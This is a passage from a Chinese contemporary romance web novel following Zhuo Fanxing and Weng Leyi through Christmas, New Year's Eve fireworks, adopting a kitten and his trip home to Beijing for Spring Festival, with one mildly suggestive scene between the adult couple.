卓繁星轻声说:“或许就是你对她太好了,她把你当最亲的人,所以才没有顾忌。” 邵丽丽眨着泪眼,懵了半晌说:“你说的对。” “那她人呢?” “那个男的摸我,我给了他一巴掌。男的生气了,她觉得我让她丢脸了。” 卓繁星听了就皱眉。 邵丽丽担心道:“那个男的不是好东西,她迟早要吃亏。” 即便这样,她还是担心她。这叫卓繁星想到卓强,家人之间本来就是一笔稀里糊涂的烂账,根本撇不清。而妹妹就是邵丽丽的软肋。 “咱们先回去吧。”卓繁星拉着她出去。 邵丽丽这才想起来还有两个人一道过来。她看见副驾上的洪旺,下意识就往卓繁星身边躲了躲。 回去路上,卓繁星陪着她坐在最后一排。翁乐仪很沉默,卓繁星想到他的腿,靠过去碰了碰他。“还好吗?”车里安静,几个人都在闭目养神。 翁乐仪睨了她一眼,说没事。 卓繁星有些担心地想再看一看他的表情,毕竟这人贯会逞强。 “真的没事。”翁乐仪轻轻捏住她的手。 到了租房,已经过了12点。卓繁星跟着邵丽丽一起下去,她就推她回去。“你别跟着了,赶紧回去休息吧。” “我今天住这儿。” “真不用,我回去就睡觉了。”她看了一眼翁乐仪,对卓繁星笑笑。“我明天跟你联系。你知道的,我就是一阵一阵的。现在都好了。” 卓繁星不太确定她的想法,她靠过来轻轻说:“我都不好意思了,今天圣诞。” “没呢。”卓繁星话还没说完,她已经挥手跑走了。 “你早点睡。” “知道啦。” 车子还没开出小区,洪旺就叫停。 “哎?”卓繁星看着他下车往回走。“他干嘛?” “犯贱。”翁乐仪冷冷来了一句。 车子到了翁乐仪家,卓繁星已经睡的迷迷糊糊的。她不知道什么时候到的,醒过来的时候车里黑暗,只有车门处的灯带安静的亮着。 “你怎么不叫我。” 翁乐仪的视线移过来,他方才一直出神地看着外面,安静淡漠,像个雕塑,还是画室里那种英俊的石膏像。 卓繁星早就觉得他不对劲了。她将手伸过去,勾住他的,撒娇似的晃了晃。“怎么啦?” “什么?”许久没有说话的缘故,翁乐仪的声音有些哑。 卓繁星悄悄叹了口气,更靠近他的趴过去。“你今天话好少呀,这么安静,你是忧郁王子吗?”话说出口,她笑了笑,真是这样,一脸忧郁地看着外面,很有故事的样子,然后就勾的小姑娘心脏啵啵跳了。 “怎么了呀?乐仪?”她晃了晃勾住的手指。 翁乐仪安静地望着她,沉默像是在酝酿一些浓重的东西,眼珠像是一团化不开的墨,却又润在水中。卓繁星就是那摊温暖的水,再浓重的墨也要被化开。终于他弯起唇,卓繁星得逞一样地笑起来。 他靠过来,她顺从地揽住他。 “你的腿还好吗?难不难受?” 翁乐仪松开她的唇,又亲了亲她的腮。 “什么?”卓繁星被他在耳朵边吐出的气息弄的痒,好一会儿才有反应。“不行,这里没有” 话还没说完,她已经坐在他身上了。 薄薄的线衫被脱了下来,卓繁星有些冷的瑟缩了下。面前的人像只白生生的羔羊,翁乐仪张开外套裹住她,然后很快就从里面伸出两条光秃秃的手臂揽住他的脖子。 “今天去Luna那边好玩吗?怎么不开心?” 卓繁星捧着翁乐仪的脸,有些可怜他似的亲了亲他的嘴唇,眼睛,还有鼻子。 还没等到答案,肩上的带子便被勾了下来。 外套撑起的角落里在作怪,翁乐仪想到夜里吸烟的小巷,逼仄的两栋楼间,暗沉的天色,还有头顶缠绕的乱七八糟的电线。 “翁乐仪。” 卓繁星的声音听着可怜,翁乐仪抱住她,松开缠在她手腕上的领带。 毛衣与肌肤紧紧触碰到一起,细细碎碎的痒,像是有一只毛刷轻轻地扫过。卓繁星恨不得将自己整个蜷缩起来,仿佛刚出生的婴儿,还有她看过的动物纪录片里的穿山甲。她觉得自己或许还像一颗山竹,白嫩嫩的芯子全被吃干抹净。 翁乐仪的手臂圈在她腰上,啊,就是这个作案工具,刚刚在身上兴风作浪,让她好像成了一把竖琴。 越想越恼,卓繁星干脆举起来咬了一口。 翁乐仪看着她,好像看调皮小孩的大人,只管不能让她冻着,老老实实地抱着她,不做任何挣扎。虎口在她嘴里,他干脆伸出手指托住她的脸,以至到了后来发展为有些瑟情的抚摸。 眼神如有实质,包裹着她,卓繁星觉得她并没有讨到多少便宜,推开他去找衣服。 翁乐仪没有再生事,他表现的足够配合,很乖地给她找寻,甚至扣上内衣的搭扣。 卓繁星不知道为什么更受不住了。 “你不准看。”她干脆把他眼睛罩住。 翁乐仪依旧听话。卓繁星却在他安静乖巧的样子里愈发生气。谁还能想到这是他做出来的事,看看这人的温柔样子,全是唬人的。 罩住眼睛的某人,鼻子挺直,唇瓣薄红的漂亮,很驯服地抿着。 可千万不要相信,毕竟半个钟头前,她在他那里没有讨到任何便宜。 某人今夜忧郁的气质像给他生了一圈淡淡的光芒,全是虚假的滤镜,让她一下栽了进去。 卓繁星又气又笑,他才不忧郁,忧郁的人会这样那样的作弄她? 卓繁星依旧保持着罩住他眼睛的姿势,吻上他的唇,亲过有一点小凹陷的下巴,还有滚动的喉结。 他的呼吸逐渐急促起来。 卓繁星捡起那条被随便扔在脚边的领带。 她得让他也吃些苦头才是。 第49章 ◎新年(二)◎ 事后卓繁星问翁乐仪为什么会戴领带,那天明明是周末。 翁乐仪愣了一下。“忘记了,习惯就戴了。” 卓繁星在他的衣帽间里找出一根,试图复原当天的事。 光滑的面料缠在手上,翁乐仪任她施为,不过卓繁星实在笨拙。 翁乐仪在最后的时候,在卓繁星终于要将扣收紧的时候,握住她的手,顺便一并将她抱在怀里。 “我给你系领带?”卓繁星这样提议道。 “今天也是周末。” 卓繁星说:“我还不会系,你先教我,明天就能系了。” 周末的清晨总是可以浪费一下的。 晚上邵丽丽邀约他们去家中吃饭。 卓繁星和翁乐仪到的时候,开门的人是洪旺。 卓繁星看了一眼翁乐仪,对这个情况表示稍有意外。为什么是稍稍呢,因为她猜到他昨天或许留宿,却不以为会到这个时候。 “你们抽烟出去抽,不要在屋里。”邵丽丽拿着把菜刀出来,还没忘叫一声翁总。 卓繁星在厨房里看着邵丽丽。邵丽丽一头长发盘起来,穿着围裙,一点妆也没化,两只手上甚至还带着大袖套。 “这里不用你忙?”她动作很快地洗锅,烧油,甚至不搞火锅,两个大菜,全是小炒。 “昨天他不知道为什么脑子发抽了,我昨天没力气,累死了,今天我绝对不要他留宿哈。虽然你不在,但是这点规矩我还是知道的。” 卓繁星看着她飞快地切了大葱,洒进煲里,卓繁星说:“我不是说这个。所以你们是复合了?” “没啊。”她理直气壮。“我可不敢有这个想法,高攀不上。” 卓繁星说:“你妹妹那边后来联系过没?” “她?”邵丽丽提起来就难受。“我不去管她了,叫她死外面好了。”她手起刀落,拍了两颗大蒜。“我以后一分钱都不给她,白眼狼,没良心的。” “你看我以后还管不管她咯。” 饭吃完,卓繁星要帮着收拾,邵丽丽不让她弄。“我看翁总有点小咳嗽,你回去给他炖点雪梨汤喝喝,很灵的。” 卓繁星毫无技能点,认真求教。出去后,就带着翁乐仪跑超市去。 卓繁星在厨房里鼓捣,梨削皮,放一颗冰糖还有几颗枸杞,炖一个钟头就行。 她把水浇满,剩余的时间就跑到客厅,把上次圣诞树上的娃娃拿下来包好,她选了两个,打算一个送给嘉嘉,还有一个给Bella,等她从迪士尼回来就给她。 梨汤炖好,她盛出来拿去给翁乐仪。 她知道他在打游戏,可是没想到玩的是那种恐怖类的。他还把灯关了,卓繁星一看到屏幕里的老太太,吓得差点碗都扔了。 “要不要这么刺激。” 她惊魂未定。翁乐仪把耳机摘了,把灯打开,卓繁星说:“喏,喝了。我尝过了,还行,不怎么甜。” “你在玩什么游戏啊?” “刚出的一款。” “啧啧。”卓繁星欣赏不来,她从小就怕鬼,乡村老尸是她童年阴影,看了个片段,之后很长时间都不敢上厕所,感觉有水的地方就有脏东西。 “不怕吗?”她奇怪地看了他一眼。 翁乐仪说:“都是假的。” 翁乐仪喝了一口梨汤。卓繁星托着腮问他:“怎么样?” “还行。”翁乐仪还是选择诚实,确实还行,不难喝,也很寡淡,而且他不太喜欢梨肉变软的口感。 卓繁星凑过去喝了一口。“确实一般般,可是没办法啦,对你喉咙好的,润肺的。你体质也太差了,我都没事。” 翁乐仪抬眸看了她一眼。 “本来就是啊。”卓繁星瞪回去。 “多喝点,等下再喝一碗。” “有点烫,先凉一会儿。” “行吧,别放太久,冷了就没效果了。” 卓繁星打算继续去包娃娃,没想到被他按坐在他身上。“一起玩吧。” “我不要!”卓繁星拒绝,按住他那只要去点鼠标的手。 “你这么怕,当时还和他们去玩密室。”翁乐仪靠在她肩膀上笑。 卓繁星转头白了他一眼。“你管我。” 翁乐仪想到那时恨不得挂在他身上的某个人,当时一个回头的功夫,她就冲到他怀里,抱着不肯松开。翁乐仪记得自己那时候尴尬、害羞,还有些说不清的慌乱。后来他一直牵着她,松开的时候,两个人都很不自在。 新年那天,卓繁星和潘潘她们一道吃饭。翁乐仪工作忙碌,昨天联系时还在外地。卓繁星接到他电话时,肉眼可见的雀跃。 翁乐仪穿着一件冲锋衣,头发稍显凌乱,一身打扮不似先前,更加休闲。 潘潘看了很久,美琪推了她一把,她一下叫起来:“搜嘎!” “搜个鬼啊。”美琪无语。 “你不懂,我不跟你讲。”她把脑袋伸到卓繁星这边。“繁星姐,怪不得噢,当时那个会所里的小帅哥你唔唔” 卓繁星一下给她捂住。 “菀菀类卿啊,原来是菀菀类卿。” 何安琪默默评价道:“疯了,疯了。” 翁乐仪同她们打了招呼。卓繁星见他带着口罩,坐到他身边问:“还没好吗?”上次同他打电话,他咳嗽的很厉害,梨汤肯定是不顶用了,要老老实实吃药了。 “叫你去海钓。”她不晓得他去出差还有这样的空闲。 翁乐仪没摘口罩,只有一双眼睛含笑地望着她,长长的睫毛更明显了,一扫一扫,不知道是不是因为生病,显出一种安静的乖巧。 潘潘和何安琪咬耳朵。“繁星姐这是陷进去了呀。”瞧瞧那样子,还自己剥橘子给帅哥吃。 啊哦,好帅。翁乐仪把口寨摘下来。潘潘一个劲地眼神示意,我说的没错吧,是个大帅哥。 何安琪无语,眼神回击:又不是你的,激动个毛啊。 “这样的我也可以剥橘子呀,让我剥一车橘子都行。” “瞧你那没出息的样。来,姐姐给你剥一个。咱不羡慕啊,咱也有。” “来,啊。”何安琪把声音做出来。 卓繁星一下就有点不好意思了。关键翁乐仪不喜欢吃热橘子,吃了半个,剩下的喂到她嘴里。他一如既往的淡定,拿过桌上的纸巾给她擦手。 卓繁星捏了他一下,他睁着无辜的眼睛看过来,卓繁星一点办法都没有。 “我又没感冒。”她温吞地开口。 他靠过来在她耳朵边说了句话,卓繁星一下就把他挂着的口罩给他带回去。 “我想亲你。”翁乐仪这样讲,橘子味令他想到了几个月前的吻。 她被他牵起来,卓繁星有点羞赧地告辞:“我们先走了,他有点感冒。” “明白明白,早点休息。”何安琪表示十分理解。 他们的背影消失在玻璃门外,潘潘突然想到什么拉住小余问道:“所以哪个帅?” “什么哪个帅?” “就是你上次说来找过繁星姐的帅哥呀?” 小余舔了舔嘴唇上的瓜子皮,认真想了想。“都挺帅的,不分伯仲。” “这么夸张?!”潘潘震惊。“我已经脑补出一出爱恨情仇了。” 翁乐仪领着卓繁星去看烟火表演。卓繁星可不觉得这是什么好主意,不提冷空气,就是人挤人的,也不适合他去。 她抱着他买的花,踩着阶梯上去,看见广场上的乌泱泱的人潮,瞬间就想打道回府。 “公寓里也能看,干嘛一定要出来。”卓繁星拉着他,生怕他被挤到。 靠近河边吹过来的风都更加冷了,翁乐仪带着帽子口罩,脸上就露出一双眼睛,被风吹得更精神了,亮的很。 “多冷啊。”卓繁星往他那儿又靠了靠,他把手抽出来把她衣服帽子提起来兜在她脑袋上。 卓繁星本来就带了顶毛线帽,她抖了抖脑袋,把衣服帽子抖了下去。 他又提起来,她又抖。“你干嘛啊?”帽子很大,他一只手按在上面,把她眼睛都遮住了,她只能仰着脑袋抗议。 翁乐仪看着她仰起的下巴,一声轻笑。“怎么才发现你这么矮。” “是你太高了。”卓繁星把他的手拿下来拽着,她有165呢,标准的身高好嘛。 Y城的夜景比不上沪地的繁华,可今年是Y市第一次做跨年烟火表演,不知道是不是这个缘故,感觉全市的人都来了。估计这几年禁放烟火禁的太狠,如今显得格外新鲜。中途一个没注意,一扭头他人不见了。 “翁乐仪。” 卓繁星喊着,四下环顾,心里焦急。 “不好意思,让一让。” 烟火表演马上开始了,周围都是找好位子的人,她手机放在耳边打他的电话,一边伸着脖子找他。 “不好意思。”她扯过一个人发现不是他。 电话接通,还没来得及说句话,烟花在头顶炸开,卓繁星扭头看着天上团团簇簇的烟花,一点喜悦都没有。 她就不该听他的。 周围人都仰着脑袋看天,耳边是震耳欲聋的响声和欢呼声,她真怕他跌倒,挤开人群惹了好多抱怨。 “你在哪儿?”卓繁星用尽力气朝手机喊。“你在哪儿?” 肩上搭上来一只手,她猛地转身,悬着的心骤然落回去。 “吓死我了。”卓繁星生怕他腿不方便,人这么多,要是摔地上怎么办。 翁乐仪听不太清她的话,却不妨看懂她眼里的后怕,手指擦过她的眼角,蹭到一点潮意。烟花在脸上映出闪烁的光影,他的眉眼清隽,瞳孔中装着她焦急的身影。 “新年快乐。”四周响起人群欢呼的声音,远处的电子屏上打出元旦快乐的字样,这一刻似乎所有人都沉浸在新年的喜悦中。 翁乐仪的手落在她被风吹到发凉的脸上,上前一步将她抱住。 卓繁星的脸贴在他的胸口,怀里的花都被挤扁了。她嘴里还在生气。“你吓死我了。”双手却在他腰上环的死死的。 翁乐仪像是察觉到了她余怒未消,低头亲了亲她的唇角。 头顶是绚烂的烟花,卓繁星仰着脑袋和他接吻,慢慢的,轻轻的,像是初生的孩子感知着彼此,极尽温柔又说不出的单纯。 她突然回忆去年的这个时候她在干什么?好像是在租房里一个人看晚会,同租的姑娘半夜回来喝醉了酒把男友一道带了回来,屋里隔音不好,她听着他们闹腾的声音一直到天快亮了才歇下来。 那明年呢,她身边还会有他吗? 她的心突然有些疼,手臂抬上去箍着他的脖子,像是想要抓住些什么。 要是,要是他能不回京市,他们一直呆在这儿那该多好啊。 第50章 ◎新年(三)◎ 卓繁星这些心思翁乐仪自然是不知道的,眼下还没到分开的时候,即便到了,他也没觉得什么。先头就讲了,他在这上头更像蒋濯衣,有些随性自然的劲。他认准了卓繁星,那就是他们两个人的事,谁说都不好使。 而卓繁星生性悲观,又不是个积极争取的,还有些随波逐流的气质。更紧要的是,她在执着一事上或许远不如他。 她自然希望能同他有个好结果,可谁知道以后会有什么事。即便他走了,她也要继续过下去。就好像她之前的许多年,他不曾来过一样。她在很快的时间里就得出了这个结论——翁乐仪很好,可能是她这辈子最喜欢的人了,可是他们未必能有个好结果。 日子照旧过,谁会为了将来的事战战兢兢,况且他们正在热恋。许多问题都被蜂拥而至的甜蜜冲淡。难道为了以后的事,就推开他吗。 卓繁星可不愿意。 她是个能靠回忆就生活的很好的人,就冲这点上来说,谁又能讲她真的是个悲观主义者。 这一切,最终的分别,还有溺死人的甜蜜,都发生在卓繁星的脑海里。她其实是个心理活动非常丰富的人,以至于因此,常常会在表面上看起来迟钝,这也是为什么不熟悉她的人会说她有些高冷。 表现出来,在翁乐仪面前,她就更加放的开了。还记得先前因为一次醉酒,她羞耻于自己粘着他的种种举动,现在她觉得着实不算什么。 在这一点上,她突然就理解了几分邵丽丽行事的逻辑。可不就是这样。既然前路渺茫,倒不如及时行乐。 甚至等不到什么家里人的反对,他们互相就厌恶了彼此。她真想象不出来自己会不爱翁乐仪的样子,其实她对他是一见钟情,就好像灵均在蒋家对蒋凌洲的第一眼就念念不忘,她对他也有些这个味道。 他抱着猫,人也和那只猫差不多,有种自在的松弛和慵懒。正是那股松弛感令卓繁星一眼就难忘,那是她太稀缺的东西。他就像无害的空气,一点一点侵入她的认知。 卓繁星后来知晓他父母离异,母亲早早便去了海外工作,更是惊诧——他们是如此的相像。当然她可比他苦命多了,然而这不妨碍年少的时候,会有惺惺相惜,同病相怜的感觉。 他可比她活的精彩多了。 松弛,就是卓繁星一眼相中他的原因。当然,他肯定是长得好看的。 卓繁星已经会将这样的想法告诉他了。她甚至问他:“以后我们会不会不喜欢彼此了?” 她知道自己肯定不会,可是这时候却不愿落了下风,因此还是加上去的好。 翁乐仪正在看球赛。她近来总会有这些稀奇古怪的问题,翁乐仪已经习惯了。 “什么叫不喜欢。”很明显,他现在脑子还在球赛上。 “就是感情淡了呀,觉得对方没有吸引力了,再也没有心动的感觉了。” 翁乐仪一下坐起来,令卓繁星吓了一跳。屏幕里裁判的哨声格外的响,山呼海啸,一时间都是刚才进球的回放。 “我现在就感觉到了。”卓繁星无语道。 “感觉到什么?你刚才说的什么?” 卓繁星在他一张无辜的脸上来回搓,他支持的球队进球了,他正开心呢,将她拉过来抱在怀里。 “球赛比我重要。”卓繁星装作生气的样子,要自己表现出一个无理取闹女朋友的样子。翁乐仪一下一下亲她的嘴唇。 “Baby.”他这样喊她,卓繁星被他喊的全无脾气,本来就是没多少,零星一点儿也全化做了糖水,当然还有鸡皮疙瘩。 “不许叫啦。”她赶紧捂住他的嘴。 手心很快被他轻轻亲上来。卓繁星想,这就是幸福家庭出生的翁乐仪呀,他太知道怎么讨她欢心了。 她被他拿捏住了。 “你先去睡,我看完了再过来。” 你看,他甚至还一副很为她着想的样子。 卓繁星今日势必要做个作女。“我要你陪我。”她装作很委屈的模样,眉眼耷拉下来,手臂圈住他的脖子,脑袋抵在他脖颈上,蹭啊蹭。 “今天是半决赛。” “是啊,所以半决赛比我重要。” 翁乐仪果然呼吸一窒。卓繁星死死咬住嘴唇,没让自己笑出来。 “灿灿。”他突然开口。卓繁星拨动他项链的手指停顿下来。“你怎么知道我小名的?” “听你爸爸喊过。” “喊灿灿也不行。”虽是这样说,但卓繁星已经心软了。她早就心软了,对着他,她向来如此。 没过几天,翁乐仪带了只小猫回来,三个月大,说是看见安杰发的朋友圈。安杰特别喜欢猫,以前还做过救助站的志愿者,这猫就是救助站那儿救下来来找家的。 猫是奶牛猫,脸上八字面具开的还挺对称,小小一只,一接来他就让卓繁星去看,繁星到了他那儿,猫躲在床底下不肯出来,过了好一会儿才探头。 “取什么名?”卓繁星边跟小猫玩边问他。 “灿灿。” “啊?” “叫灿灿啊。” 卓繁星瞪了他一眼,一个不妨被小猫抓住了逗猫棒,就地一滚嘴巴咬着羽毛好一通闹腾。后来给它取了个名字叫小八,就为它脸上开的那道八字。 转眼到了一月末,眼看着离过年没多少日子。期间卓繁星陆陆续续接到几次姚灵均的电话,让她帮忙看看伴手礼,请帖,还有结婚照选哪张,她嫌徐凤眼光不好又唠叨,就来问她。 婚礼定在四月,在斯里兰卡,不过在北京还是要请桌酒,她一边嫌烦一边又只能硬着头皮上,没办法,这主意当时是她自己提的。 “陈跃后来找过你没?” “谁?” 卓繁星说:“没谁,你不记得就好。” 姚灵均切了一声。“你以为他真将我看的很重要吗。不过是闲的没事找我打趣儿罢了。” 卓繁星在这句话里听出一丝隐隐的低落。感情的事没有什么道理可言,即便陈跃是个渣男,灵均可能就是在他身上有心动的感觉,这感觉谁都替代不了。可人不是光凭感觉就能在一起的。 姚灵均问:“你对象现在谈的怎么样?” “哪有对象?” “我你都骗。有啥不好讲的。” 卓繁星说:“刚谈呀,没什么好说的。”实在是姚灵均是个大筛子,藏不住话,她要是知道是翁乐仪,不出半天,舅妈肯定也要知道。 “照片有没有,看看。” 卓繁星说:“呀,有电话来,我挂了。” 给她气的。“稀罕看。我告诉你丑男不行啊,是不是那个医生?医生还行。还有过年来不来?” “我电话进来了,到时候再说。” 卓繁星脚上晃着逗着小八,最近猫不怕生了,站着的时候能顺着人的腿,从脚上一直爬到胸口。前两年她都在爸爸那儿呆个两天,吴家没她的房间,她呆着也不自在,年初二就收拾收拾回了市区。 今年估计也是这样过吧。 翁乐仪公司年会的时候,离过年也就差了一个礼拜多点的时间。卓繁星已经放假了,邵丽丽找了个美容院上班,正是忙的时候。她妹妹放寒假要住到租房来。卓繁星接到她电话的时候没有多意外。 “没事的,都是女孩子。“卓繁星这样说。 “我这几天忙死了,一直要忙到放假,提成还轮不到我,现在是试用期,你说惨不惨。不过我拿到点内部优惠,到时候你过来,我请你做项目。” “好的。”卓繁星发了个抱抱的表情包。 卓繁星不知道她们是怎样和解的,不过也不难猜。这让她对邵丽丽始终有些心疼,对她的妹妹观感一般。 到了年会那天,邵丽丽说请客吃火锅。 火锅店在市中心的步行街那边,她提早订的位置。出门前,邵一一又是化妆又是弄头发,捯饬了快两个钟头才出门。卓繁星看着邵丽丽骂她,样子凶,但也没真不让她弄,后来还上手给她画眼线卷头发。 “回来不还得洗头发,我真是服了你了。”她嘴上数落个不停,动作却干净利落。 三个人坐地铁过来,到了步行街,街上一眼望去挂着红灯笼,喜气热闹,已经有年味儿了。 快吃完的时候,翁乐仪电话过来,问她们在哪儿,吃完了没。卓繁星说快了,报了地方,他说他过来接她。 她挂了电话还有些奇怪,年会上他算是主角了,怎么能这么早就离场,不过转念一想也不一定非要他,他身体不太好,烟酒轻易不沾,这场合肯定有人顶上去。 桌上邵丽丽把最后一点菜捞上来,放到邵一一碗里,问道:“翁总来的电话?” 卓繁星点头,“嗯,让我们吃完到路口等,他刚好过来。” “繁星姐姐的男朋友?”小姑娘没顾上吃了,有些八卦地问,她听她姐姐提过两嘴她男朋友的事,说是个钻石王老五,自然好奇的很。 “嗯。”卓繁星应了声,没多谈。 吃完结账,三个人慢慢走到路口,等了差不多两三分钟,翁乐仪的车就到了。 他知道她们有三个人,上车的时候直接坐的副驾,到了地方把车窗降下来,司机已经下车去开后座车门了。 邵丽丽喊了声翁总,他点了下头说了声你好,眼睛落在卓繁星身上。今天要来吃火锅,她就没穿干净衣服,穿的是穿了有两天的外套,淡粉的面包服,脖子上圈了一条白色的毛绒围巾。 “喝了多少?”她们两个先上车,她跟在后头,抽空问了句 “没多少。”翁乐仪闻到她们身上的火锅味,随后车门一关,这味道就更浓了,他今天就喝了几杯酒,菜没吃多少,被这味道勾的胃里有些翻腾。这一路他都安静无话,一是身体不舒服,二是有三个陌生人,但后头的邵一一眼睛老往他那儿看。 到了租房小区外头,邵丽丽说把她们放下就行了。翁乐仪自然没要开进去,车一停,邵丽丽就拉着妹妹下车。外头天冷,她看着车走了,拉着人就往小区走。 “那个翁总是什么来头啊?” 邵一一挽着她胳膊,嘴巴不停,都是打听翁乐仪的。 邵丽丽起先还没觉得什么,简单回了几句,听她又问:“这样的人你室友怎么搭上的?你怎么就不行啊?你长得也不比她差,身材也好。” 邵丽丽听了瞪了她一眼,“你是吃了顿火锅把脑子也吃撑了吧。” 她马上回嘴:“都是当小情儿,有什么好忌讳的。” 邵丽丽被她这句气笑了,“谁特么是小情儿,人家正儿八经男女朋友,你看不起谁呢?一嘴一个小情儿小情儿的,没我你读书的钱,买化妆品的钱,看演唱会的钱哪儿来的?你是觉得你大学生就特高贵是吗?我今天跟你说最后一次,你住我这儿就规规矩矩的,要是得罪了人,我落不着好,你也没好,别整天让我跟在你后头擦屁股。” 她们这头争执暂且不提,不过后来卓繁星的确过了一段安生日子。 那头翁乐仪带着人回了公寓,他明天的飞机回北京,行李还没收拾过,不过要带的东西不多,一只小行李箱就差不多了。 卓繁星受不了身上的火锅味,先去浴室洗了个澡,因为时不时过来,已经放了几套衣服在这儿,翁乐仪还给她在衣柜里腾了个地方放衣服。 她洗完澡出来,地上摊着个开着的箱子,他正往里放一些常穿的衣服,边上小八捣蛋,时不时就往箱子里钻。 “粥喝完了?”卓繁星问他,刚刚路上就说胃不舒服,家里有药,后来下车又给他买了碗小米粥。 “嗯。”翁乐仪看她出来了也不急着理,把箱子里的小八捞出来抱在怀里撸了两把。也不知道是不是喝酒的缘故,他今天眼神光都有些迷离,动作放慢,配上他认真撸猫的样子,有些像她第一次他的那个样子,看着单纯可欺的很。 “酒还没醒?”她蹲下来摸了摸他的脸,还有些发烫。 “我没醉。”他看了她一眼,眼尾微翘,敛着的雾气露出来如水中月,镜中花,让人觉得漂亮又抓不住。 卓繁星不喜欢这种感觉,在他眼睛上亲了亲,让他漂亮的眼睛阖上。 “现在醉不醉?” 他乖的很,点了点头,说:“醉了。”眼睛张开,眸如点漆,一如当初那个静水般的少年,含着清淡却温和的笑意。《 》 50-60 第51章 ◎新年(四)◎ 翁乐仪同卓繁星讨论过回京过年的问题。 “后来一直没回去过?”他不太能理解她舅妈家中为何将她放逐在Y市。原谅他用了这个词,确实如此。 他认识的卓繁星就是在京市长大,念书毕业,至于Y市,顶多算是她后来工作的地方。 “本来可以一起回去。”他这样讲。 卓繁星说:“我姥姥姥爷恨死我爸了”当年他们的女儿所托非人,嫁了个最没有出息的。虽然是自找的,但只有这个人好恨一恨。总不至于是他们女儿的过错,多半就是卓强勾引,本来姚馨雅能有更好的前途。 “他们不一定不想我去,只是也没有想我去。” 卓繁星没有多悲伤,她需要他们的时候都过去了。或许是早早认清了亲缘的淡薄,她的预期向来很低。 翁乐仪摸着她的头发,黑色的发丝划过他的手指,不像他的,柔滑,有些冰凉,轻易就会滑落。翁乐仪俯下身在她被捋开的鬓角上亲了亲。 怪不得那时候一个人过年,一个人在医院里哭。 “那你在这边怎么过?去你爸爸那边?” “对呀。我总不能一个人过吧。” 翁乐仪笑了下。“当然不能。”他在离开的时候还在犹豫,有一瞬间的冲动,在卓繁星送他出门的时候对她说:“不如跟我一起回京市。” 卓繁星愣了下,把围巾给他戴上。 “舍不得我吗?” 翁乐仪没有否认。本来就是她的家乡,她实实在在是京市人。 “那你赶快回来吧。过了年就回来,好不好?”卓繁星抱住他,仰着的脸上满是俏皮的意味。 翁乐仪睨了她一眼,又去看别处。“我不一定能那么快回来。” “那怎么办?” 小八适时地在两人脚底下打转,卓繁星惨兮兮地说:“小八,你爸不要你啦,你只能和我相依为命了。” 翁乐仪说记得给我打电话。他最后看了她一眼,那天的Y市是阴雨天,落地京市却是个大晴天。 卓繁星说话算话,同他抱怨了连续的阴雨天气,然后告诉他,她准备在家里窝上两天,直到雨停。 “在家里?” “嗯。嗯?不然在哪里?”她撸着小八的毛,懒洋洋地声音从听筒里传过去。 “你在哪里?” 翁乐仪看着楼下跑动的Coco,阳光下浑身的毛发仿佛都在发光。“我在姥姥家,今天小年夜。” 那边惊讶地噢了一声。“那我要点一份八宝饭吃。” “你什么时候回乡下?” “马上呀,我马上就回去了。我还在想要不要把小八带回去。好啦,我挂了,我要点外卖了。” 卓繁星很快挂断,翁乐仪看着手机有些短暂的无奈——还是一个人。 这并非是翁乐仪第一次离开卓繁星,毕竟他经常出差,然而此时因为假期的缘故,周遭皆是懒洋洋的气氛。他不免会想,若在Y市,他们会做什么。 也许天气好,会出门找个地方解决中饭,然后下午带着小八去公园草坪上晒会儿太阳。天气不好,就像她说的,也可以窝在家里,两个人。 林灿经过时,稍稍迟疑了下,翁乐仪看见她,同她颔首打了个招呼。 林灿说:“我毛衣脏了,找件Arhur的衣服换一下。” “是Coco弄脏的?”他在她肩膀两侧看见了爪印。 “对呀,不晓得他什么时候刨的坑,两只爪子上都是泥。” 她说完便要离开,翁乐仪的声音在身后响起。 “林小姐叫林灿?” “什么?”林灿显然不是没听清,而是意外。“对,我叫林灿。”她笑着。“你可以叫我灿灿,林小姐太生疏了。” 翁乐仪显而易见地语塞了,顿了顿才道:“哪个灿?” “唔,灿烂的灿。哈哈,我先上去啦。”她示意了一下自己糟糕的衣服。 翁乐仪客气点头,转过身的时候,舌头抵着牙齿,有些难言的异样。灿灿?庭院中的coco叼着飞盘跑到蒋凌洲身边。 但愿不是他想的那样。可太巧合了不是吗。他甚至还去找过她。 姚国平一家前来,车子在院中停下,开车的人是姚灵均。她一下车就被冲过来的coco吓了一跳,然后大衣上喜提爪印两只。 啊,阳光下她懊恼地瞪了一眼蒋凌洲,然后就被自家母亲强力镇压。 姚国平在与蒋凌洲说什么,翁乐仪短暂地看了一会儿,就下楼去了。 “你们来了。”俞秋华出来见他们。“灵均是不是明年结婚?日子定下来了吗?” 徐凤说:“订了,在4月份。” “那时候好,天也暖和了。衣服上怎么回事?是被狗抓的。我就叫凌洲拴起来,不许它进来。”她叫保姆拿毛巾,招呼他们进去。 徐凤问老太太,她说:“在书房呢,说要写几幅春联。对呀,老规矩了。”她见着翁乐仪下来,说:“你去把凌洲叫进来,你俩去写,叫他们两个出来歇歇。” 徐凤听了立即道:“对,两个小子去写,他们两个的字一贯都是好的。我以前拿回去,我公公一直夸,说这字写的好。” 俞秋华说:“和老太太耳濡目染,总要学点皮毛来。” 林灿换了衣服下来,蒋凌洲的毛衣太大,显得松松垮垮的,有种oversize的感觉。 姚国平说:“这是凌洲对象?” “叔叔好,我叫林灿。”林灿的中文讲的不算好,一听就是个ABC。 “你好,你好。”姚国平笑了两声。 徐凤拿出来几样膏方,特地跑到书房里去。秦老太太的书房很大,占了两间屋子不止,采光极好,摆了一张又大又长的工作台。如今上面堆了红纸,一进去就是墨香。 蒋爷爷负责裁纸晒字,老太太戴着眼镜,手里拿着毛笔,边上已经摊了许多。 “小凤来了。国平也来了。” 姚国平接过蒋爷爷手里的纸,放到空地方摊平,没忘夸道:“干妈的字还是那么有劲。” “你懂什么,说来说去就知道有劲。”徐凤嫌弃他。 姚国平说:“我是外行。有劲还不好,你出去打听打听,几个这样年纪的还使得动笔。” “妈。咱们出去歇会儿,这儿叫几个孩子收拾。”俞秋华一句话,翁乐仪几个就都留在书房里。 翁乐仪和蒋凌洲负责写,林灿和姚灵均负责帮忙。 姚灵均不是第一次做这些活,要知道当年她暗恋蒋凌洲的时候有多积极。这活儿那就是天上掉的馅饼,她能给他磨墨晒字,搁古代可是红袖添香的雅事。如今想起来还是不免发笑。 林灿是头一次见这架势,她家里虽然早是黄皮白心,但她小时候,她太奶奶还活着,祖上规矩,习俗都很讲究。就是他们住的街区,那也是华人社区,洗衣房对面那条街上开了家书画铺。凡是求些底蕴的人家,家里总要挂一幅好字。 她知道,蒋凌洲家这叫书香世家。 